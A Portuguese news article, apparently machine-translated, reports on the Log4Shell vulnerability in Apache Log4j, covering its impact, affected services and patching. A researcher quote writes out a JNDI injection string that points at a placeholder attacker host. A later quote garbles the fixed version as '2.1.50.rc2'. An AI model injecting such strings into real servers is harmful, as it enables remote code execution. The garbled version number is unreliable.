0
0
Uma vulnerabilidade crítica de dia zero no Apache Log4j (CVE-2021-44228), uma biblioteca de registro Java amplamente utilizada, está sendo aproveitada por atacantes em estado selvagem – por enquanto, felizmente, principalmente para entregar mineiros de moedas.
Relatado à Apache Software Foundation por Chen Zhaojun, da Alibaba Cloud Security Team, o bug agora aparentemente foi corrigido no Log4j v2.15.0, assim como um PoC apareceu no GitHub e há relatos de que atacantes já estão tentando comprometer aplicativos/servidores vulneráveis.
Sobre a vulnerabilidade (CVE-2021-44228)
Apelidado de Log4Shell, o CVE-2021-44228 recebeu a pontuação máxima possível do CVSS (10,0).
A Apache Software Foundation diz que no Apache Log4j2 versões 2.14.1 e anteriores “Os recursos JNDI usados na configuração, mensagens de log e parâmetros não protegem contra LDAP controlado por invasores e outros endpoints relacionados ao JNDI. Um invasor que pode controlar mensagens de log ou parâmetros de mensagem de log pode executar código arbitrário carregado de servidores LDAP quando a substituição de pesquisa de mensagens está ativada.”
Eles também apontaram que, a partir do Log4j v2.15.0, esse comportamento foi desativado por padrão.
De acordo com John Hammond, pesquisador sênior de segurança da Huntress, o vetor de ataque é extremamente trivial para atores de ameaças.
“Uma única sequência de texto pode acionar um aplicativo para entrar em contato com um local externo se ele for registrado através da instância vulnerável do log4j. Um ator de ameaças pode fornecer texto especial em um cabeçalho HTTP User-Agent ou em uma simples solicitação de formulário POST, com o formulário usual: ${jndi:ldap://maliciousexternalhost.com/resource, onde maliciousexternalhost.com é uma instância controlada pelo adversário”, explicou ele.
“A vulnerabilidade log4j analisa isso e entra em contato com o host malicioso através da ‘Java Naming and Directory Interface’ (JNDI). O recurso de primeiro estágio atua como um trampolim para outro ponto final controlado por invasor, que serve código Java para ser executado na vítima original. Em última análise, isso dá ao adversário a oportunidade de executar qualquer código que ele gostaria no alvo: execução remota de código”,
Qual é a largura da superfície de ataque?
Infelizmente, a biblioteca é frequentemente usada em software Java corporativo.
“Dado o quão onipresente é essa biblioteca, o impacto da exploração (controle total do servidor) e como é fácil de explorar, o impacto dessa vulnerabilidade é bastante grave”, observou o CEO da LunaSec, Free Wortley, e o desenvolvedor Chris Thompson.
“Muitos, muitos serviços são vulneráveis a essa façanha. Serviços em nuvem como Steam, Apple iCloud e aplicativos como Minecraft já foram considerados vulneráveis. Qualquer pessoa que use Apache Struts provavelmente é vulnerável. Já vimos vulnerabilidades semelhantes exploradas antes em violações como a violação de dados Equifax 2017.”
Mas não para por aí: aparentemente há impressoras e sistemas CCTV enviando com configurações vulneráveis padrão. Um projeto GitHub está tentando mapear a possível superfície de ataque listando fabricantes e componentes potencialmente afetados (incluindo outros frameworks Apache, como o Apache Solr).
Vai ser um fim de semana prolongado para equipes de segurança em todo o mundo, pois elas estão tentando identificar quais aplicativos usados por sua organização usam a biblioteca vulnerável (e se ela pode ser explorada), para que possamos esperar que uma lista mais precisa seja compilada pela comunidade de segurança mais ampla nos próximos dias.
Atualizar e/ou mitigar
De acordo com o ASF, atualizar para Log4j v2.15.0 resolve o problema e aqueles que não podem atualizar podem implementar várias mitigações. Mas, aparentemente, essa correção foi ignorada, e log4j-2.15.0-rc2 é o que você quer agora.
“Se sua organização usa o Apache log4j, você deve atualizar para log4j-2.1.50.rc2 imediatamente. Certifique-se de que sua instância Java esteja atualizada; no entanto, vale a pena notar que esta não é uma solução abrangente. Talvez seja necessário esperar até que seus fornecedores enviem atualizações de segurança para seus produtos afetados”, acrescentou Hammond.
“O pacote log4j pode ser empacotado com o software que você usa fornecido por qualquer fornecedor. Nesse cenário, infelizmente, os próprios fornecedores precisarão empurrar as atualizações de segurança para baixo. Ao avaliar seu próprio modelo de risco e ameaça, considere os componentes do software que você usa e, especialmente, o que pode ser acessível ao público.”
Não se engane, esta é a maior vulnerabilidade Java que vimos em anos. É absolutamente brutal”, disse Arshan Dabirsiaghi, cofundador e cientista-chefe da Contrast Security, à Help Net Security.
“Há três perguntas principais que as equipes devem responder: Onde isso me afeta? Como posso mitigar o impacto agora para evitar a exploração? Como posso localizar este e outros problemas semelhantes para evitar a exploração futura?”
ATUALIZAÇÃO (13 de dezembro de 2021, 04:52 PT): Confira a evolução da situação no fim de semana.
FONTE: HELPNET SECURITY